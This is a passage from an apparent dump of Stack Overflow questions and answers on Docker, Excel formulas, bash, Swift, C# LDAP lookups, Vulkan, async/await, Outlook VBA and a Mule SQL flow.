&lt;div class="modal-footer"&gt; &lt;button type="button" class="btn btn-default" data-dismiss="modal"&gt;Close&lt;/button&gt; &lt;button type="submit" class="btn btn-primary" name="btn-update"&gt;Save changes&lt;/button&gt; &lt;/div&gt; &lt;/form&gt; &lt;/div&gt; </code></pre>
39664746	0	Docker: save - produces no output <p>Fairly new to using Docker..</p> <p>I pulled an image for Oracle 11g Full. Created a DB and installed an application into the container.</p> <p>Once configured correctly, I committed the container which resulted in a 15GB image.</p> <p>Tested a new container of that image, everything works fine, Oracle services etc. startup automatically and then I just attach and run the application...all good.</p> <p>I need to upload this onto a server, so my intended approach was:</p> <p>1) Save container<br> 2) Upload tarball to server<br> 3) Load container</p> <p>However, when I run the following command:</p> <p><code>sudo docker save --output ~/etlf_961_meta.tar etlf/informatica9.6.1:latest</code> </p> <p>it just hangs and produces no output.</p> <p>The process is active, but no file appears and there is no activity:</p> <p><code>T20 chris # ps aux | grep "docker save" root 26179 0.0 0.0 91928 5000 pts/14 S+ 16:36 0:00 sudo docker save --output /home/chris/etlf_961_meta.tar etlf/informatica9.6.1:latest root 26201 0.0 0.0 127404 14664 pts/14 Sl+ 16:36 0:00 docker save --output /home/chris/etlf_961_meta.tar etlf/informatica9.6.1:latest root 26277 0.0 0.0 14232 980 pts/0 S+ 16:36 0:00 grep --color=auto docker save</code></p> <p>If I use <code>export</code> and <code>import</code> the process runs fine, a 15GB image is produced and can be imported, however I lose all the ENV and CMD metadata.</p> <p>Can anyone advise: </p> <p>1) How to resolve the <code>save</code> command, to actually export the container<br> or<br> 2) How to restore or attach the ENV/CMD metadata (..the dockerfile?) to a exported/imported image? </p> <p>Much appreciated</p>
5420072	0	 <p>Lasso is an interpreted programming language with PHP-like syntax, and a commercial server geared towards database-driven web applications. Its current stable release is 9.2, with 9.3 in development, while the legacy version is also maintained as 8.6. Information about Lasso releases is available at <a href="http://www.lassosoft.com/" rel="nofollow">http://www.lassosoft.com/</a>. </p> <p><strong>Documentation and Community</strong></p> <p>The <a href="http://lassoguide.com/" rel="nofollow">LassoGuide</a> site is the official location for Lasso 9's documentation, while a language reference for all versions is at <a href="http://www.lassosoft.com/LassoDocs/LanguageReferenceCategories" rel="nofollow">LassoDocs</a>, and an active archive of the <a href="http://lassotalk.com/" rel="nofollow">LassoTalk mailing list</a> is also available.</p>
21153543	0	 <p>Assuming your puppet master is Puppet Enterprise also, otherwise a PE agent will not work with it.</p> <p>The client needs to know where the puppet master is. Can specify it on the command line with "--server fqdn.of.master" or put it in the agent's puppet.conf file in the main section.</p> <p>I believe you'll find the puppet.conf file on Windows 2008 at c:\ProgramData\PuppetLabs\puppet\etc\puppet.conf</p> <p>On Linux it's at /etc/puppet/puppet.conf</p>
18541225	0	 <p>You forgot several <code>]</code> in your jQuery selectors at the end</p> <p>Edit: from 'pedu' and down, just add those final braces and that should be all of them.</p>
35120583	0	 <p>You are going to require an array formula¹ or <a href="https://support.office.com/en-us/article/sumproduct-function-4e0bffa7-4291-4635-a61f-6aaa9399e7ff" rel="nofollow">SUMPRODUCT</a>, neither of which handles 'thousands of rows' well due to the logrythmic taxation of cyclic processing. Full column references should be avoided at all costs.</p> <p>In a cell as a standard formula,</p> <pre><code>=SUMPRODUCT(--(Y$2:INDEX(Y:Y, MATCH(1E+99,Y:Y ))&lt;500-2.48*X$2:INDEX(X:X, MATCH(1E+99,Y:Y )))) </code></pre> <p>The <a href="https://support.office.com/en-us/article/match-function-0600e189-9f3c-4e4f-98c1-943a0eb427ca" rel="nofollow">MATCH function</a> uses an approximate match for an impossibly high number. This returns the row number of the last number in column Y. It is used to limit both X and Y columns to the extent of the data. The last number in column Y is used in both cases as SUMPRODUCT requires that the ranges be the same size (although not necessarily the same rows).</p> <p>In a cell as an array formula¹,</p> <pre><code>=SUM(IF(X$2:INDEX(X:X, MATCH(1E+99,Y:Y )), --(Y$2:INDEX(Y:Y, MATCH(1E+99,Y:Y ))&lt;497.52), --(Y$2:INDEX(Y:Y, MATCH(1E+99,Y:Y ))&lt;500))) </code></pre> <hr> <p>¹ <sub>Array formulas need to be finalized with <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>Enter↵</kbd>. Once entered into the first cell correctly, they can be filled or copied down or right just like any other formula. Try and reduce your full-column references to ranges more closely representing the extents of your actual data. Array formulas chew up calculation cycles logarithmically so it is good practise to narrow the referenced ranges to a minimum. See <a href="https://support.office.com/en-ca/article/guidelines-and-examples-of-array-formulas-7d94a64e-3ff3-4686-9372-ecfd5caa57c7" rel="nofollow">Guidelines and examples of array formulas</a> for more information.</sub></p>
22997038	0	 <p>You have a space on the end of your variable, and you've set IFS so that it's not being removed as part of word splitting. Here's a simplified test case that exibits your problem:</p> <pre><code>IFS=$'\r\n' value=$(echo "hello - world" | cut -d - -f 1) [ $value = hello ] &amp;&amp; echo "works" || echo "fails" </code></pre> <p>The simplest solution is to cut your variables before the first space, rather than after the space but before the dash:</p> <pre><code>boolser=($(getsebool -a | grep $serv | cut -d ' ' -f1)) </code></pre>
40099477	0	"has no member" error with Alamofire 4.0 with Swift 3 <p>I have used Alamofire 4.0 in with Swift 3.0 but getting issue with the following code</p> <blockquote> <p>Type 'Method' (aka 'OpaquePointer') has no member 'GET'</p> <p>Type 'Method' (aka 'OpaquePointer') has no member 'PUT'</p> <p>Type 'Method' (aka 'OpaquePointer') has no member 'POST'</p> <p>Type 'Method' (aka 'OpaquePointer') has no member 'PATCH'</p> <p>Type 'Method' (aka 'OpaquePointer') has no member 'DELETE'</p> </blockquote> <p>Enum definition:</p> <pre><code>enum Method { case get case put case post case patch case delete func toAFMethod() -&gt; Alamofire.Method { switch self { case .get: return Alamofire.Method.GET case .put: return Alamofire.Method.PUT case .post: return Alamofire.Method.POST case .patch: return Alamofire.Method.PATCH case .delete: return Alamofire.Method.DELETE } } } </code></pre>
23147907	0	 <pre><code>select * from (select id,subject_id FROM table group by subject_id)tempalias where subject_id=1 select * from (select id,subject_id FROM table group by subject_id)tempalias where subject_id=2 </code></pre>
16110595	0	 <p>There times that you will use more memory than the 8 MB php has allotted. If your unable to use less memory by making your code more efficient, you might have to increase your available memory. This can be done in two ways.</p> <p>The limit can be set to a global default in php.ini:</p> <pre><code>memory_limit = 32M </code></pre> <p>Or you can override it in your script like this:</p> <pre><code>&lt;?php ini_set('memory_limit', '64M'); ... </code></pre> <p>For more on PHP memory limit you can see <a href="http://stackoverflow.com/questions/620602/php-memory-limit">This SO question</a> or <a href="http://www.php.net/manual/en/ini.core.php#ini.memory-limit" rel="nofollow">ini.memory-limit</a>.</p>
11784072	0	 <p>If you don't have to use recursion, here's a much more efficient check for palindrome:</p> <pre><code>public boolean isPalindrome3(String input) { for (int start = 0, end = input.length() - 1; start &lt; end; ) { if (input.charAt(start++) != input.charAt(end--)) { return false; } } return true; } </code></pre>
4171112	0	 <p>You seem to be writing a makefile in GNUMake style, but actually running some other version of Make. If it's not obvious what autoreconf is calling, you could insert a rule in the makefile:</p> <pre><code>dummy: @echo using $(MAKE) $(MAKE) -v </code></pre> <p>If this theory proves correct, you can either persuade autoconf to use GNUMake, or write for the version it's using.</p>
36379765	0	 <p>It is a <a href="http://developer.android.com/reference/android/support/design/widget/CollapsingToolbarLayout.html" rel="nofollow">CollapsingToolbarLayout</a>. </p> <p>Here is an example extracted from <a href="http://antonioleiva.com/collapsing-toolbar-layout/" rel="nofollow">this link</a>:</p> <pre><code>&lt;android.support.design.widget.CoordinatorLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" android:layout_width="match_parent" android:layout_height="match_parent" android:fitsSystemWindows="true"&gt; &lt;android.support.design.widget.AppBarLayout android:id="@+id/app_bar_layout" android:layout_width="match_parent" android:layout_height="wrap_content" android:theme="@style/ThemeOverlay.AppCompat.Dark.ActionBar" android:fitsSystemWindows="true"&gt; &lt;android.support.design.widget.CollapsingToolbarLayout android:id="@+id/collapsing_toolbar" android:layout_width="match_parent" android:layout_height="match_parent" app:layout_scrollFlags="scroll|exitUntilCollapsed" app:contentScrim="?attr/colorPrimary" app:expandedTitleMarginStart="48dp" app:expandedTitleMarginEnd="64dp" android:fitsSystemWindows="true"&gt; &lt;com.antonioleiva.materializeyourapp.SquareImageView android:id="@+id/image" android:layout_width="match_parent" android:layout_height="wrap_content" android:scaleType="centerCrop" android:fitsSystemWindows="true" app:layout_collapseMode="parallax"/&gt; &lt;android.support.v7.widget.Toolbar android:id="@+id/toolbar" android:layout_width="match_parent" android:layout_height="?attr/actionBarSize" app:popupTheme="@style/ThemeOverlay.AppCompat.Light" app:layout_collapseMode="pin" /&gt; &lt;/android.support.design.widget.CollapsingToolbarLayout&gt; &lt;/android.support.design.widget.AppBarLayout&gt; &lt;/android.support.design.widget.CoordinatorLayout&gt; </code></pre>
8581785	0	 <p>Here is a Class that I wrote and used at several places look thru the methods to see what you can use.. </p> <pre><code>using System; using System.Text; using System.Collections; using System.DirectoryServices; using System.Diagnostics; using System.Data.Common; namespace Vertex_VVIS.SourceCode { public class LdapAuthentication { private String _path; private String _filterAttribute; public LdapAuthentication(String path) { _path = path; } public bool IsAuthenticated(String domain, String username, String pwd) { String domainAndUsername = domain + @"\" + username; DirectoryEntry entry = new DirectoryEntry(_path, domainAndUsername, pwd); try { //Bind to the native AdsObject to force authentication. // Object obj = entry.NativeObject; DirectorySearcher search = new DirectorySearcher(entry); search.Filter = "(SAMAccountName=" + username + ")"; search.PropertiesToLoad.Add("cn"); SearchResult result = search.FindOne(); if (null == result) { return false; } //Update the new path to the user in the directory. _path = result.Path; _filterAttribute = (String)result.Properties["cn"][0]; } catch (Exception ex) { throw new Exception("Error authenticating user. " + ex.Message); } return true; } public String GetName(string username) { String thename = null; try { DirectoryEntry de = new DirectoryEntry(_path); DirectorySearcher ds = new DirectorySearcher(de); ds.Filter = String.Format("(SAMAccountName={0})", username); ds.PropertiesToLoad.Add("displayName"); SearchResult result = ds.FindOne(); if (result.Properties["displayName"].Count &gt; 0) { thename = result.Properties["displayName"][0].ToString(); } else { thename = "NA"; } } catch (Exception ex) { throw new Exception("Error Getting Name. " + ex.Message); } return thename.ToString(); } public String GetEmailAddress(string username) { String theaddress = null; try { DirectoryEntry de = new DirectoryEntry(_path); DirectorySearcher ds = new DirectorySearcher(de); ds.Filter = String.Format("(SAMAccountName={0})", username); ds.PropertiesToLoad.Add("mail"); SearchResult result = ds.FindOne(); theaddress = result.Properties["mail"][0].ToString(); de.Close(); } catch (Exception ex) { throw new Exception("Error Getting Email Address. " + ex.Message); } return theaddress.ToString(); } public String GetTitle(string username) { String thetitle = null; try { DirectoryEntry de = new DirectoryEntry(_path); DirectorySearcher ds = new DirectorySearcher(de); ds.Filter = String.Format("(SAMAccountName={0})", username); ds.PropertiesToLoad.Add("title"); SearchResult result = ds.FindOne(); result.GetDirectoryEntry(); if (result.Properties["title"].Count &gt; 0) { thetitle = result.Properties["title"][0].ToString(); } else { thetitle = "NA"; } } catch (Exception ex) { throw new Exception("Error Getting the Title. " + ex.Message); } return thetitle.ToString(); } public String GetPhone(string username) { String thephone = null; try { DirectoryEntry de = new DirectoryEntry(_path); DirectorySearcher ds = new DirectorySearcher(de); ds.Filter = String.Format("(SAMAccountName={0})", username); ds.PropertiesToLoad.Add("mobile"); SearchResult result = ds.FindOne(); result.GetDirectoryEntry(); if (result.Properties["mobile"].Count &gt; 0) { thephone = result.Properties["mobile"][0].ToString(); } else { thephone = "NA"; } } catch (Exception ex) { throw new Exception("Error Getting Phone Number. " + ex.Message); } return thephone.ToString(); } public String GetGroups() { DirectorySearcher search = new DirectorySearcher(_path); search.Filter = "(cn=" + _filterAttribute + ")"; search.PropertiesToLoad.Add("memberOf"); StringBuilder groupNames = new StringBuilder(); try { SearchResult result = search.FindOne(); int propertyCount = result.Properties["memberOf"].Count; String dn; int equalsIndex, commaIndex; for (int propertyCounter = 0; propertyCounter &lt; propertyCount; propertyCounter++) { dn = (String)result.Properties["memberOf"][propertyCounter]; equalsIndex = dn.IndexOf("=", 1); commaIndex = dn.IndexOf(",", 1); if (-1 == equalsIndex) { return null; } groupNames.Append(dn.Substring((equalsIndex + 1), (commaIndex - equalsIndex) - 1)); groupNames.Append("|"); } } catch (Exception ex) { throw new Exception("Error obtaining group names. " + ex.Message); } return groupNames.ToString(); } public bool IsUserGroupMember(string strUserName, string strGroupString) { bool bMemberOf = false; ResultPropertyValueCollection rpvcResult = null; try { DirectoryEntry de = new DirectoryEntry(_path); DirectorySearcher ds = new DirectorySearcher(de); ds.Filter = String.Format("(SAMAccountName={0})", strUserName); ds.PropertiesToLoad.Add("memberOf"); SearchResult result = ds.FindOne(); string propertyName = "memberOf"; rpvcResult = result.Properties[propertyName]; foreach (Object propertyValue in rpvcResult) { if (propertyValue.ToString().ToUpper() == strGroupString.ToUpper()) { bMemberOf = true; break; } } } catch (Exception ex) { throw new Exception("Error Getting member of. " + ex.Message); } return bMemberOf; } } } </code></pre>
489674	0	 <p>This doesn't sound right. To test it out, I wrote a simple app, that creates a DataTable and adds some data to it. On the button1 click it binds the table to the DataGridView. Then, I added a second button, which when clicked, adds another column to the underlying DataTable. When I tested it, and I clicked the second button, the grid immedialtey reflected the update. To test the reverse, I added a third button which pops up a dialog with a DataGridView that gets bound to the same datatable. At runtime, I then added some values to the first datagridview, and when I clicked the button to bring up the dialog, the changes were reflected.</p> <p>My point is, they are supposed to stay concurrent. Mark may be right when he suggested you check if AutoGenerateColumns is set to true. You don't need to call DataBind though, that's only for a GridView on the web. Maybe you can post of what you're doing, because this SHOULD work.</p> <p>How I tested it:</p> <pre><code> DataTable table = new DataTable(); public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { table.Columns.Add("Name"); table.Columns.Add("Age", typeof(int)); table.Rows.Add("Alex", 26); table.Rows.Add("Jim", 36); table.Rows.Add("Bob", 34); table.Rows.Add("Mike", 47); table.Rows.Add("Joe", 61); this.dataGridView1.DataSource = table; } private void button2_Click(object sender, EventArgs e) { table.Columns.Add("Height", typeof(int)); foreach (DataRow row in table.Rows) { row["Height"] = 100; } } private void button3_Click(object sender, EventArgs e) { GridViewer g = new GridViewer { DataSource = table }; g.ShowDialog(); } public partial class GridViewer : Form //just has a DataGridView on it { public GridViewer() { InitializeComponent(); } public object DataSource { get { return this.dataGridView1.DataSource; } set { this.dataGridView1.DataSource = value; } } } </code></pre>
35584973	0	 <p>The drawing setup is quite involved, but the actual calls required to draw are fairly straightforward. From the <code>tri.c</code> (which draws a 2D triangle):</p> <pre><code>// ... vkCmdBeginRenderPass(demo-&gt;draw_cmd, &amp;rp_begin, VK_SUBPASS_CONTENTS_INLINE); vkCmdBindPipeline(demo-&gt;draw_cmd, VK_PIPELINE_BIND_POINT_GRAPHICS, demo-&gt;pipeline); vkCmdBindDescriptorSets(demo-&gt;draw_cmd, VK_PIPELINE_BIND_POINT_GRAPHICS, demo-&gt;pipeline_layout, 0, 1, &amp; demo-&gt;desc_set, 0, NULL); VkViewport viewport = {}; viewport.height = (float) demo-&gt;height; viewport.width = (float) demo-&gt;width; viewport.minDepth = (float) 0.0f; viewport.maxDepth = (float) 1.0f; vkCmdSetViewport(demo-&gt;draw_cmd, 0, 1, &amp;viewport); VkRect2D scissor = {}; scissor.extent.width = demo-&gt;width; scissor.extent.height = demo-&gt;height; scissor.offset.x = 0; scissor.offset.y = 0; vkCmdSetScissor(demo-&gt;draw_cmd, 0, 1, &amp;scissor); VkDeviceSize offsets[1] = {0}; vkCmdBindVertexBuffers(demo-&gt;draw_cmd, VERTEX_BUFFER_BIND_ID, 1, &amp;demo-&gt;vertices.buf, offsets); vkCmdDraw(demo-&gt;draw_cmd, 3, 1, 0, 0); vkCmdEndRenderPass(demo-&gt;draw_cmd); // ... </code></pre> <p>This snippet assumes that you've already gotten the <code>VkPipeline</code> (which include shaders, etc.), <code>VkBuffer</code> (for the vertex buffer), and the <code>VkCommandBuffer</code> in appropriate states. It's the <code>vkCmdDraw</code> that actually issues the command to draw, once the containing <code>VkCommandBuffer</code> is executed.</p>
13906998	0	Send attachment on Custom made SMTP server <p>I am currently working on my own SMTP server and I can successfully send email arounds from various programs and web pages such as Outlook, PHP and Pear Mail. </p> <p>The next stage I need to do is to try and send an attachment via my SMTP server. I have tried doing a LAN trace of my server while sending an attachment via PHP to another SMTP server and I can see I get the follwing from the client:</p> <pre><code>DATA fragment, 661 bytes </code></pre> <p>I'm not sure if this is related to the attachment or not. </p> <p>If it is, is this just telling the SMTP server how long the file is and then I should just write a base 64 encoded string onto the network stream and write it to a file to be used for sending the email on. </p> <p>Thanks for any help you can provide. </p>
20111305	0	 <p>The regex you can use is like this: </p> <pre><code>/SIP\/(\d+)@PBX/ </code></pre> <p>This finds:</p> <pre><code>text SIP followed by a / (which is escaped so it isn't interpreted as the end of the regex) followed by one or more digits (captured in a group delineated with parens) followed by the text @PBX </code></pre> <p>And, then you pull out the first matched group if there's a match.</p> <p>And, if you have nothing else to go on other than it's in a <code>&lt;td&gt;</code> in your page, then you can use this generic code that looks at all <code>&lt;td&gt;</code> elements in the page. Ideally, you would use the structure of the page to more clearly target the appropriate <code>&lt;td&gt;</code> cells.</p> <pre><code>var tds = document.getElementsByTagName("td"); var regex = /SIP\/(\d+)@PBX/; for (var i = 0; i &lt; tds.length; i++) { var matches = tds[i].innerHTML.match(regex); if (matches) { var number = parseInt(matches[1], 10); // process the number here } } </code></pre> <p>Working demo: <a href="http://jsfiddle.net/jfriend00/vDwfs/" rel="nofollow">http://jsfiddle.net/jfriend00/vDwfs/</a></p> <hr> <p>If the HTML is not in your page, but in a string, then you can just use the same regex to search for it in the HTML string. You could bracket it with <code>&lt;td&gt;</code> and <code>&lt;/td&gt;</code> if that seems wise based on your context.</p> <pre><code>var matches, number; var regex = /SIP\/(\d+)@PBX/g; while (matches = regex.exec(htmlString)) { number = parseInt(matches[1], 10); // process the number here } </code></pre>
23764334	0	Xcode compiler flag to draw view edges <p>I'm working with Auto Layout in code and I am unsure where some edges are falling. I know there is a way to draw yellow lines for all view edges, but I can't find it.</p> <p>Does anyone here know compiler flag/build environment variable that can be set to draw an outline for all views, or point me to a reference that contains this? </p>
9323308	0	 <p>When a assembly' s AssemblyVersion is changed, If it has strong name, the referencing assemblies need to be recompiled, otherwise the assembly does not load! If it does not have strong name, if not explicitly added to project file, it will not be copied to output directory when build so you may miss depending assemblies, especially after cleaning the output directory. </p>
19048256	0	 <p>How about every ajax call has an id (which you should document in some way if you have a lot of them) and all the handlers are in one file with a huge ass switch case loop.Or if it's gonna be a big file maybe organise them in a few files - id 3001, 3002, 3003 form submits go to formHandler.php id 4001 400n go to layout system and so on.</p>
28034416	0	 <p>Here's what you need to do.</p> <ol> <li>Find the directory in which your script.py is.</li> <li>Move your setup.py to this directory and please keep this window open.</li> <li>Hold shift, right click this directory, and open command window here.</li> <li>In the command window type: <code>C:\Python34\python.exe setup.py py2exe</code></li> </ol>
36983958	0	Reply to a selected or opened mail in outlook using excel macro <p>I have made a code in excel which creates a mail using excel envelop. But this code creates a new email, instead, I want to reply to a particular mail which is selected or opened in my outlook. There is no fixed pattern in my emails to which I want to reply such as a particular subject or sender. So I want to reply/replyall to mail only which I select or open in outlook. Where should I make changes in my code? Please Help!! `</p> <pre><code>'Option Explicit Private Sub Generate_Ticket_Email_Click() 'varCap = Generate_Ticket_Email.Caption 'Generate_Ticket_Email.Caption = "DiscardMail" On Error GoTo ErrHandler 'SET Outlook APPLICATION OBJECT. Dim objOutlook As Object Set objOutlook = CreateObject("Outlook.Application") ' CREATE EMAIL OBJECT. Dim objEmail As Object Set objEmail = objOutlook.CreateItem(olMailItem) ActiveSheet.Range("B7:D31").Select If Generate_Ticket_Email.Caption &lt;&gt; "Generate E-mail" Then Generate_Ticket_Email.Caption = "Generate E-mail" ActiveWorkbook.EnvelopeVisible = False GoTo ErrHandler End If ActiveWorkbook.EnvelopeVisible = True 'ActiveWorkbook.EnvelopeVisible = False 'End If With ActiveSheet.MailEnvelope .Item.To = Range("J16") .Item.CC = Range("J17") .Item.Subject = Range("F18") End With Generate_Ticket_Email.Caption = "Discard E-mail" ' CLEAR. Set objEmail = Nothing: Set objOutlook = Nothing ErrHandler: ' End Sub </code></pre>
21427745	0	 <p>I solved the same issue with UIViewController categories that is in the common included file. So each UIviewController in its init function calls [self setMyColor]. </p> <p>This is my code:</p> <pre><code>@interface ColorViewController : UIViewController - (void) setMyColor; @end </code></pre>
12483066	0	 <p>I've been using <code>async</code> in production for a couple of years. There are a few core "best practices" that I recommend:</p> <ol> <li><a href="http://nitoprograms.blogspot.com/2012/07/dont-block-on-async-code.html" rel="nofollow">Don't block on <code>async</code> code</a>. Use <code>async</code> "all the way down". (Corollary: prefer <code>async Task</code> to <code>async void</code> unless you <em>have</em> to use <code>async void</code>).</li> <li>Use <code>ConfigureAwait(false)</code> wherever possible in your "library" methods.</li> </ol> <p>You've already figured out the "<code>async</code> all the way down" part, and you're at the point that <code>ConfigureAwait(false)</code> becomes useful.</p> <p>Say you have an <code>async</code> method <code>A</code> that calls another <code>async</code> method <code>B</code>. <code>A</code> updates the UI with the results of <code>B</code>, but <code>B</code> doesn't depend on the UI. So we have:</p> <pre><code>async Task A() { var result = await B(); myUIElement.Text = result; } async Task&lt;string&gt; B() { var rawString = await SomeOtherStuff(); var result = DoProcessingOnRawString(rawString); return result; } </code></pre> <p>In this example, I would call <code>B</code> a "library" method since it doesn't really need to run in the UI context. Right now, <code>B</code> <em>does</em> run in the UI thread, so <code>DoProcessingOnRawString</code> is causing responsiveness issues.</p> <p>So, add a <code>ConfigureAwait(false)</code> to every <code>await</code> in <code>B</code>:</p> <pre><code>async Task&lt;string&gt; B() { var rawString = await SomeOtherStuff().ConfigureAwait(false); var result = DoProcessingOnRawString(rawString); return result; } </code></pre> <p>Now, when <code>B</code> resumes after <code>await</code>ing <code>SomeOtherStuff</code> (assuming it did actually have to <code>await</code>), it will resume on a thread pool thread instead of the UI context. When <code>B</code> completes, even though it's running on the thread pool, <code>A</code> will resume on the UI context.</p> <p>You can't add <code>ConfigureAwait(false)</code> to <code>A</code> because <code>A</code> depends on the UI context.</p> <p>You also have the option of explicitly queueing tasks to the thread pool (<code>await Task.Run(..)</code>), and you <em>should</em> do this if you have particular CPU-intensive functionality. But if your performance is suffering from "thousands of paper cuts", you can use <code>ConfigureAwait(false)</code> to offload a lot of the <code>async</code> "housekeeping" onto the thread pool.</p> <p>You may find my <a href="http://nitoprograms.blogspot.com/2012/02/async-and-await.html" rel="nofollow">intro post helpful</a> (it goes into more of the "why's"), and the <a href="http://blogs.msdn.com/b/pfxteam/archive/2012/04/12/10293335.aspx" rel="nofollow"><code>async</code> FAQ</a> also has lots of great references.</p>
27015318	0	How to set order of SQL-response? <p>I've got a mule flow that queries a SQL-server database and then converts the response to JSON and then writes the JSON comma separated to file.</p> <p>My problem is that the order of the column in the written file doesn't match the order of the fields in the query. How tho define the order of columns in a query answer?</p> <p>The JSON to CSV conversion is like this:</p> <pre><code> public class Bean2CSV { /** * @param args * @throws JSONException */ public String conv2csv(Object input) throws JSONException { if (!input.equals(null)){ String inputstr = (String)input; JSONArray jsonArr = new JSONArray(inputstr); String csv = CDL.toString(jsonArr); csv = csv.replace(',', ';'); System.out.println(inputstr); //csv System.out.println(csv); //csv return csv; } else return "";} } </code></pre> <p>and here is the flow</p> <hr> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;mule xmlns="http://www.mulesoft.org/schema/mule/core" xmlns:json="http://www.mulesoft.org/schema/mule/json" xmlns:http="http://www.mulesoft.org/schema/mule/http" xmlns:file="http://www.mulesoft.org/schema/mule/file" xmlns:context="http://www.springframework.org/schema/context" xmlns:jdbc="http://www.mulesoft.org/schema/mule/jdbc" xmlns:doc="http://www.mulesoft.org/schema/mule/documentation" xmlns:spring="http://www.springframework.org/schema/beans" xmlns:core="http://www.mulesoft.org/schema/mule/core" version="CE-3.4.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.mulesoft.org/schema/mule/json http://www.mulesoft.org/schema/mule/json/current/mule-json.xsd http://www.mulesoft.org/schema/mule/http http://www.mulesoft.org/schema/mule/http/current/mule- http.xsd http://www.mulesoft.org/schema/mule/file http://www.mulesoft.org/schema/mule/file/current/mule-file.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd http://www.mulesoft.org/schema/mule/jdbc http://www.mulesoft.org/schema/mule/jdbc/current/mule-jdbc.xsd http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring- beans-current.xsd http://www.mulesoft.org/schema/mule/core http://www.mulesoft.org/schema/mule/core/current/mule.xsd"&gt; &lt;context:property-placeholder location="classpath:cognos_import.properties" ignore-resource-not-found="true"/&gt; &lt;spring:beans&gt; &lt;spring:bean id="dataSource" name="dataSource" class="org.enhydra.jdbc.standard.StandardDataSource" destroy-method="shutdown"&gt; &lt;spring:property name="driverName" value="net.sourceforge.jtds.jdbc.Driver"/&gt; &lt;spring:property name="user" value="${dbusername}"/&gt; &lt;spring:property name="password" value="${dbpassword}"/&gt; &lt;/spring:bean&gt; &lt;spring:bean id="changeDB" class="ChangeDatabase"&gt; &lt;spring:property name="serverip" value="${dbserverip}"/&gt; &lt;spring:property name="serverport" value="${dbserverport}"/&gt; &lt;spring:property name="dbprefix" value="${dbprefix}"/&gt; &lt;/spring:bean&gt; &lt;/spring:beans&gt; &lt;jdbc:connector name="db_conn" dataSource-ref="dataSource" validateConnections="false" pollingFrequency="5000" doc:name="Database"&gt; &lt;jdbc:query key="readbal" value="SELECT #[header:INBOUND:company] as company, AcNo as Konto , R2 as Avd, #[header:INBOUND:period] as Period, sum(AcAm) as Saldo FROM AcTr WHERE (AcYrPr &amp;lt;= #[header:INBOUND:period]) and (AcNo &amp;lt; 3000) GROUP BY AcNo,R2 ORDER BY AcNo,R2;"/&gt; &lt;jdbc:query key="readres" value="SELECT #[header:INBOUND:company] as company, AcNo as Konto , R2 as Avd, #[header:INBOUND:period] as Period, sum(AcAm) as Saldo FROM AcTr WHERE (AcYrPr &amp;lt;= #[header:INBOUND:period]) and (AcYrPr &amp;gt;= #[header:INBOUND:starttid]) and (AcNo &amp;gt;= 3000) GROUP BY AcNo,R2 ORDER BY AcNo,R2"/&gt; &lt;jdbc:query key="readiclr" value="SELECT #[header:INBOUND:company] as company, AcTr.AcNo as Konto , AcTr.R2 as Avd, #[header:INBOUND:period] as Period, sum(AcTr.AcAm) as Saldo,sum(AcTr.CurAm) as ValutaBel, AcTr.Cur as Valuta, AcTr.R1 as FtgID FROM AcTr LEFT JOIN Actor ON AcTr.R1=Actor.R1 WHERE (AcTr.AcYrPr &amp;lt;= #[header:INBOUND:period]) and (AcTr.AcYrPr &amp;gt;= #[header:INBOUND:starttid]) and Actor.SAcSet=2 and (AcTr.AcNo=3019 or AcTr.AcNo=3099 or AcTr.AcNo=3199 or AcTr.AcNo=3299 or AcTr.AcNo=3499 or AcTr.AcNo=3519 or AcTr.AcNo=3599 or AcTr.AcNo=3699 or AcTr.AcNo=3799 or AcTr.AcNo=3919 or AcTr.AcNo=3999 or AcTr.AcNo=4299 or AcTr.AcNo=4399 or AcTr.AcNo=4599 or AcTr.AcNo=4699 or AcTr.AcNo=4799 or AcTr.AcNo=5099 or AcTr.AcNo=5299 or AcTr.AcNo=5499 or AcTr.AcNo=5699 or AcTr.AcNo=5799 or AcTr.AcNo=5999 or AcTr.AcNo=6099 or AcTr.AcNo=6399 or AcTr.AcNo=6499 or AcTr.AcNo=6999 or AcTr.AcNo=7999 or AcTr.AcNo=8399 or AcTr.AcNo=8499) and AcTr.Sup&amp;lt;&amp;gt;0 GROUP BY AcTr.AcNo,AcTr.R2,AcTr.R1,AcTr.Cur"/&gt; &lt;jdbc:query key="readickr" value="SELECT #[header:INBOUND:company] as company, AcTr.AcNo as Konto , AcTr.R2 as Avd, #[header:INBOUND:period] as Period, sum(AcTr.AcAm) as Saldo,sum(AcTr.CurAm) as ValutaBel, AcTr.Cur as Valuta, AcTr.R1 as FtgID FROM AcTr LEFT JOIN Actor ON AcTr.R1=Actor.R1 WHERE (AcTr.AcYrPr &amp;lt;= #[header:INBOUND:period]) and (AcTr.AcYrPr &amp;gt;= #[header:INBOUND:starttid]) and Actor.CAcSet=2 and (AcTr.AcNo=3019 or AcTr.AcNo=3099 or AcTr.AcNo=3199 or AcTr.AcNo=3299 or AcTr.AcNo=3499 or AcTr.AcNo=3519 or AcTr.AcNo=3599 or AcTr.AcNo=3699 or AcTr.AcNo=3799 or AcTr.AcNo=3919 or AcTr.AcNo=3999 or AcTr.AcNo=4299 or AcTr.AcNo=4399 or AcTr.AcNo=4599 or AcTr.AcNo=4699 or AcTr.AcNo=4799 or AcTr.AcNo=5099 or AcTr.AcNo=5299 or AcTr.AcNo=5499 or AcTr.AcNo=5699 or AcTr.AcNo=5799 or AcTr.AcNo=5999 or AcTr.AcNo=6099 or AcTr.AcNo=6399 or AcTr.AcNo=6499 or AcTr.AcNo=6999 or AcTr.AcNo=7999 or AcTr.AcNo=8399 or AcTr.AcNo=8499) and AcTr.Cust&amp;lt;&amp;gt;0 GROUP BY AcTr.AcNo,AcTr.R2,AcTr.R1,AcTr.Cur"/&gt; &lt;jdbc:query key="readiclb" value="SELECT #[header:INBOUND:company] as company, AcTr.AcNo as Konto, AcTr.R2 as Avd, #[header:INBOUND:period] as Period, sum(AcTr.AcAm) as Saldo, sum(AcTr.CurAm) as ValutaBel, AcTr.Cur as Valuta, AcTr.R1 as FtgID FROM AcTr LEFT JOIN Actor ON AcTr.R1=Actor.R1 WHERE (AcTr.AcYrPr &amp;lt;= #[header:INBOUND:period]) and 